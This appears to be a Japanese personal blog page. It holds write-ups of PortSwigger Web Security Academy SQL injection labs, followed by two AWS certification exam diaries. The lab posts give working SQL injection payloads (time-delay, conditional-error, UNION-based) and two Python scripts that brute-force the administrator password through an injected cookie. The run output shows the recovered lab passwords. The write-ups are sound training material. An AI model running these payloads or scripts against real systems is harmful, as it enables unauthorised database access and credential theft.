shinobe179の日記

@shinobe179 の技術メモ・やらかし録

Blind SQL injection with time delay

はじめに

「Blind SQL injection with time delays」のWriteupです。ちょっともやもやする結果にはなりましたが、たまにはこういうこともありますね。

portswigger.net

Summary

  • PostgreSQLpg_sleep(seconds) など、指定した時間だけ待機するコマンドを使って、評価式の真偽を判断する手法
  • 今回のペイロード ' || pg_sleep(10) --|| は文字列連結のためのもののようで、なぜこのように使われるのかは分からず( pg_sleep() 自身は文字列を返すわけでもないらしいのでますます分からない)

Writeup

今回はサイトに10秒の遅延を起こすことが目的です。

Intruder を使って、各データベース(OracleMicrosoft SQLPostgreSQLMySQL)に対するペイロードを自動で投げてみました。

f:id:befs_anne:20210418005355p:plain

f:id:befs_anne:20210418005413p:plain

結果、 '; SELECT pg_sleep(10)-- が刺さったようです。

f:id:befs_anne:20210418005438p:plain

試しにProxyを使って投げてみたのですが、レスポンスが遅延する様子はありませんでした。Solutionを見てみると、 ' || pg_sleep(10)-- が正答なようです。実際に投げてみると、レスポンスも10秒遅延しました。

Blind SQL injection with conditional errors

はじめに

「Blind SQL injection with conditional errors」のWriteupです。

Summary

  • データベースエラーによる挙動差異を利用したBlind SQL injection
  • CASE文を使って、評価式の結果に応じて(主にtrueだった場合?)ゼロ除算などのエラーを意図的に発生させる
  • SQLOracle関連の学び
    • SUBSTRING() ではなく SUBSTR()
    • ゼロ除算のところ、 to_char(1/0) としなければいけないっぽい
    • レコードの中身についてブルートフォースする時、 % を候補文字列に入れているとワイルドカードと認識されてしまうかも

Writeup

  • 目的と事前情報は以下の通りです。
    • 目的は administrator ユーザーでログインすること
    • ユーザー情報は users テーブルに格納されていて、username 列 と password 列で構成されている
    • データベースはOracle

スタート。トップは前回とほとんど変わらないので割愛します。

ログイン画面。前回のように「Welcome back!」の記述はありません。

f:id:befs_anne:20210414223430p:plain

データベースエラー起因での挙動差異があるかを確認します。Burpでリクエストをインターセプトして、セッションIDに 'AND (SELECT CASE WHEN (1=2) THEN to_char(1/0) ELSE 'a' END FROM DUAL)='a を追加し、リクエストを送信します。 1=2 はfalseなので、 'a'='a' で何も起きません。※falseの時は単に NULL として、 'a' との比較はしなくてよかったかも

f:id:befs_anne:20210414223646p:plain

評価式を 1=1 とするとtrueになるので、ゼロ除算が行われてデータベースエラーが発生します。案の定、レスポンスも500になりました。Blind SQL injection が成立します。

f:id:befs_anne:20210414224159p:plain

前回作ったコードを流用しました。ちょっと改造して、可変する引数(FQDN、トラッキングID、セッションID)のハードコードをやめて実行時にコマンド引数として指定できるようにしています(一定時間経過するとラボ環境が閉店ガラガラするので)。

投げるクエリは ' AND (SELECT CASE WHEN SUBSTR(password, {i}, 1) = '{char}' THEN to_char(1/0) ELSE 'a' END FROM users WHERE username = 'administrator') = 'a です。最初評価式をカッコで囲ってしまってうまくいきませんでした。必要ないみたいです。

import requests
import string
import sys

args = sys.argv
fqdn = args[2]

url = 'https://' + fqdn + '/login'
tracking_id = args[3]
session_id = args[4]
cookies = dict(TrackingId=tracking_id, session=session_id)


def test():
    resp = requests.get(url, cookies=cookies)
    print(resp.status_code)


def run():
    chars = string.printable[:95].replace('%', '')
    print(f'[*]Characters as candidate are {chars}.')
    ans = ''
    for i in range(1, 100):
        print(f'[*] try {i}, ans is "{ans}".')
        for char in chars:
            q = f"' AND (SELECT CASE WHEN SUBSTR(password, {i}, 1) = '{char}' THEN to_char(1/0) ELSE 'a' END FROM users WHERE username = 'administrator') = 'a"
            print(f'[*] query is {q}.')
            cookies = dict(TrackingId=tracking_id + q, session=session_id)
            resp = requests.get(url, cookies=cookies)
            if resp.status_code != 200:
                ans += char
                print(f'[o] match! Now answer is: {ans}.')
                break
            if char == chars[-1]:
                print(f'[*] No match. Answer is {ans}, or you need more characters as candidate.')
                sys.exit(1)


if __name__ == '__main__':
    if args[1] == 'test':
        test()
    elif args[1] == 'run':
        run()

実行すると、それらしい文字列が出てきました。 放っておくとシングルクォートが延々マッチし続けるようですが、 % と同様、何か意味のある文字列なのでしょうか。

$ python3 bsqli_solver_2.py run acf31fe71ea54faf80333e7000e2004d.web-security-academy.net Tf0CElKhzmiWfUno JUFrFFmjycnQLMUz5wmmKiFHbZX2ZfQO
[*]Characters as candidate are 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$&'()*+,-./:;<=>?@[\]^_`{|}~ .
[*] try 1, ans is "".
[*] query is ' AND (SELECT CASE WHEN SUBSTR(password, 1, 1) = '0' THEN to_char(1/0) ELSE 'a' END FROM users WHERE username = 'administrator') = 'a.
[*] query is ' AND (SELECT CASE WHEN SUBSTR(password, 1, 1) = '1' THEN to_char(1/0) ELSE 'a' END FROM users WHERE username = 'administrator') = 'a.
...
[*] query is ' AND (SELECT CASE WHEN SUBSTR(password, 22, 1) = ''' THEN to_char(1/0) ELSE 'a' END FROM users WHERE username = 'administrator') = 'a.
[o] match! Now answer is: 26dyx39qmf2mfca2el2f''.
[*] try 23, ans is "26dyx39qmf2mfca2el2f''".

administrator / 26dyx39qmf2mfca2el2f で、ログイン成功しました。

f:id:befs_anne:20210414225351p:plain

前回から横着してますが、本当は事前にレコードの存在や、パスワードの文字列長を確認したりすると丁寧ですね。

Blind SQL injection with conditional responses

はじめに

「Blind SQL injection with conditional responses」のWriteupです。SUBSTRING() をあまりちゃんと分かっていなかったので、よい学びになりました。

Summary

  • Blind SQL injection: クエリの結果を、ログなどの明示的な要素ではなく、レスポンスの差異などの暗黙的な要素から推測する手法
    • クエリにブール値を含める
    • 条件付きでゼロ除算などでエラーを発生させる
    • 条件付きで時間遅延を発生させる
    • OAST(Out-of-bound Application Security Testing): テスト対象が意図しない宛先に対して送信したパケットを検査する(Burp Collaboratorで可能だが割愛)
  • SUBSTRING((), offset, length)
    • offset: 何文字目を先頭にするか
    • length: offset から何文字目まで取り出すか

試したいこと

  • Burp suiteだけで解く
    • Solutionを見るとどうやらBurpだけでやる前提なので(きっと全ての問題がそう)。
  • 並列処理で解く
  • 二分探索で解く

Writeup

目的と事前情報は以下の通りです。

  • administrator ユーザーでログインすること。
  • ユーザー情報は users テーブルに格納されていて、username 列 と password 列で構成されている。

スタート。

f:id:befs_anne:20210413010047p:plain

ログイン画面。

f:id:befs_anne:20210413010135p:plain

SessionIdにBurpを使ってtrueになるようなクエリ( AND 1=1 -- )を加えてリクエストします。この場合は "Welcome back!" という文字列が含まれていますが……。

f:id:befs_anne:20210413010253p:plain

falseになるようなクエリ( AND 1=2 -- )では含まれません。この挙動差異を使ってBlind SQL injectionできます。

f:id:befs_anne:20210413010535p:plain

コードを書きました。候補文字列はとりあえず英数字・記号としています。

import requests
import string

url = 'https://thisislaburl.web-security-academy.net/login'
tracking_id = 'thisistrackingid'
session_id = 'thisissessionid'
cookies = dict(TrackingId=tracking_id, session=session_id)


def run():
    chars = string.printable[:95]
    print(chars)
    ans = ''
    for i in range(1, 100):
        print(f'[*] try {i}, ans is "{ans}".')
        for char in chars:
            q = f"' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), {i}, 1) = '{char}'--"
            print(f'[*] query is {q}.')
            cookies = dict(TrackingId=tracking_id + q, session=session_id)
            resp = requests.get(url, cookies=cookies)
            if 'Welcome back!' in resp.text:
                ans += char
                print(ans)
                break
            

if __name__ == '__main__':
    run()

実行。しばらく待つとそれらしい文字列が出てきました。

$ python3 ./bsqli_solver.py 
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ 
[*] try 1, ans is "".
[*] query is ' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) = '0'--.
[*] query is ' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) = '1'--.
[*] query is ' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) = '2'--.
...
...
...
[*] query is ' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 21, 1) = ';'--.
ivvyuc0s4z8mi49ytu9m;
[*] try 22, ans is "ivvyuc0s4z8mi49ytu9m;".

administratorivvyuc0s4z8mi49ytu9m でログイン成功しました。

f:id:befs_anne:20210413011816p:plain

SQL injection attack, querying the database type and version on MySQL and Microsoft

はじめに

SQL injection attack, querying the database type and version on MySQL and Microsoft」のWriteupです。やってることは前回とほとんど変わりませんが、学びがあったので記事にします。

Summary

  • MySQLMicrosoft SQLでバージョンを表示するには SELECT @@version
  • MySQLの1行コメントは #--
    • # の場合、ブラウザのURLバーからだと送信されないことに注意。プロキシツール必須(しばらくこれにハマってた)。
    • 二重ハイフンを使う場合、末尾に半角スペースがつくことに注意。こっちもブラウザのURLバーからだと末尾の半角スペースが送信されないので、プロキシツール必須。
  • Microsoft SQLの1行コメントは -- 。こっちは末尾の半角スペース不要。

Writeup

スタート。

f:id:befs_anne:20210411211344p:plain

ORDER BY 句を使って、正常通信で取得している値の数を確認。前回同様3でエラーが起きたので、SELECTの引数は2つ必要です。

category=' ORDER BY 3 #

UNION SELECT FROM @@version # に、帳尻合わせで NULL を加えます。

category=' UNION SELECT @@version, NULL #

f:id:befs_anne:20210411211746p:plain

SQL injection attack, querying the database type and version on Oracle

はじめに

ウェブセキュリティの勉強のために、PortSwigger Web Security Academyを地道に進めていこうと思います。

今日は「SQL injection attack, querying the database type and version on Oracle」というラボのWriteupです。

portswigger.net

Summary

  • Oracleのコメントは --
  • Oracleでバージョンを表示するには SELECT * FROM v$version

Writeup

列の数を確認。3でエラーが出たので、SELECTの引数は2つ必要。

category=' ORDER BY 3 --

列数の帳尻を合わせるために、 SELECT の引数に 'a' を足して実行。

category=' UNION SELECT banner, 'a' FROM v$version --

f:id:befs_anne:20210411200531p:plain

参考

https://portswigger.net/web-security/sql-injection/cheat-sheet

「AWS 認定 高度なネットワーキング – 専門知識」(AWS Certified Advanced Networking Specialty)に合格しました

はじめに

先日、AWS Certified Advanced Networking Specialtyの試験を受けて、スコア801でpassしました。受験体験記です。

aws.amazon.com

モチベーション

  • (月並みだけど)自分の業務やキャリアアップのため
  • 知識ゼロの状態からリファレンス読むのが苦手なので、脳内にインデックスだけでも貼っておきたい
  • ネットワーク知識がVPC、WAF、Direct Connect周りに偏っていて、EC2やCloudFront、その他死角を確認したい
  • とりあえずネットワークと名の付くものは抑えておかなきゃならないという焦燥感

合格までのプロセス

結論から言うと、プロセスも何もほぼノー勉で合格しました。ドヤァ……と思われるかもしれませんが、事実なのだから仕方がない。

スタート地点(普段何をしているか)

先日Security Specialtyを取った時に書いた記事の通りです。

befs-anne.hatenablog.com

今回向けに補足するとすれば、

  • ネットワークを主軸にやっていたときは、CCNP持ちとしてルーターやスイッチ、ファイアウォールなどの設計・構築・運用をやっていました。AWSでは、VPC周りは基本として、オンプレミスとAWSをDirect Connectで繋げるハイブリッドクラウド設計・導入を手掛けたりしていました。
  • セキュリティを始めてからは、広くAWS環境のセキュリティ設計・運用に携わる中で、とりわけネットワークに近いレイヤで言うとVPCAWS WAFに慣れています。
  • BGPが好きで、BGPオペレーターに憧れと畏敬の念を抱いています。

サンプル問題

まずは前回と同じくサンプル問題を解きました。10問中8問合格でした。この時点で行けそうだなーと思って、翌週末に試験を予約しました。

模試……はなかった

模試を回して問題に慣れようと思ったのですが、Advanced Networking Specialtyの模試は提供されていないようです。なんで?

問題集……は直前に買ったけどやる時間が全くなかった

以下の公式問題集を買ったのですが、仕事が立て込んでしまって一切読まなかったです。Kindleにダウンロードすらしていない。

https://www.amazon.co.jp/Certified-Advanced-Networking-Official-Study-ebook/dp/B079VKD1CN/ref=tmm_kin_swatch_0

試験

Security Specialtyより難しかったです。Direct Connectの問題が多かったのは幸いでしたが、AWSのサービスの知識ではなく、AWSを使った大規模ネットワーク設計のベストプラクティスを求められるような問題が多くて、これが地味に悩みます。そのうえ、純粋にTCP/IPの知識を求められるような問題も出るので、AWSの勉強だけで挑むと取りこぼしがかさんで不合格……ということが十分に起こり得ます。

おわりに

持っててよかったCCNP(失効したけど)!やっててよかったDirect Connect!って感じの試験でした。エンジニアとしてのキャリアをAWSから始めた若い方には難しい反面、私のようなネットワークおじさんが、これまでの経験をAWSでも活かすとっかかりとして、よい認定資格だと思います。

次は……DeveloperとSysOpsかな?がんばります。

「AWS 認定 セキュリティ – 専門知識」(AWS Certified Security Specialty)に合格しました

はじめに

先日、AWS Security Specialtyの試験を受けて、スコア921でpassしました。受験体験記です。

aws.amazon.com

モチベーション

  • (月並みだけど)自分の業務やキャリアアップのため
  • 知識ゼロの状態からリファレンス読むのが苦手なので、脳内にインデックスだけでも貼っておきたい
  • IAMやKMSなど、AWSセキュリティにおけるベーステクノロジーの基礎固めがしたい
  • とりあえずセキュリティと名の付くものは抑えておかなきゃならないという焦燥感

合格までのプロセス

スタート地点(普段何をしているか)

事業会社で主にプロダクトセキュリティの企画・運用をやっています。出自はネットワークで、ここ2〜3年でセキュリティに軸足を移しました。最近AWSの利用が盛んになってきたので、会社のマニーで公式トレーニングを受けせてもらったり、ソリューションアーキテクトアソシエイトを取ったりしています。実務はアドバイザリやレビューが主軸で、時々必要に迫られて手を動かす、そんな感じです。

模試(1回目)

まずは実務のインプットだけでどこまでいけるのかを確認しようと思って、初手で模試を受けました。結果は70%。インフラセキュリティ領域は100%な反面、やはりアイデンティティ管理をはじめとしたAWS特有のセキュリティお作法の知識に難ありということが分かりました。あとは実務でノータッチのID管理系(ADとかCognitoとか)が厳しい。

テキストでお勉強

↓のテキストで地道にお勉強しました。サービス毎に要点が解説されていて、得意なVPC周りやAWS WAFは無視して、苦手なところをノート写ししてました。実務上のニーズや試験対策の意味合いで掘り下げたいときは、公式リファレンスも読みました。

https://www.amazon.co.jp/dp/B08DCLRHC7/

模試(2回目)、試験予約

2回目の模試の結果は80%。正直、思ったより伸びてなくて焦りました。しかも、「本番と比べて模試の問題は簡単」「模試100%でないと合格は無理」という恐怖情報を発見。不安がよぎりますが、「まあ1回本番受けてみんことには分からんし、予約しないとズルズル後ろ倒ししそう」と思って、1週間後に試験を予約しました。

サンプル問題

先達の受験記を眺めていると公式のサンプル問題があるとのことで、解いてみました。10問中8, 9問ぐらい正解しましたが、模試と比べてちょっと難しい気がしました。

試験

65問の多肢択一問題を180分で解きます。序盤に苦手なID管理絡みの問題が連続で出てきたり、完全に理解したと思っていたKMSの問題が多少複雑な形で出題されたりして、滝のような脇汗をかいていました。中盤から得意のインフラ系問題が出てきて、ぶっ通しで全問解き終えたところで残り1時間くらい。1問目から見直しして、残り時間5分ぐらいで自ら試験を終えました。「合格」と出て安心しました。

おわりに

結果的にスコアが900点台だったことに鑑みるに、「模試が満点じゃないと無理」なんてことはないかなと思います。ていうか、各問題の正否が公開されないのに、100%追っかけてたらキリないです。普段からAWSに関わっていて、紹介したテキスト通読して、模試で8割取れていれば、知識は十分です。あとは、問題と選択肢を精読してありえない択を切っていけばpassできるはず。

新しい学びももちろんあったけど、知っているつもりで実は曖昧だったことも分かって、取り組んだ甲斐がありました。次は高度なネットワーキングに挑戦してみようと思います。

aws.amazon.com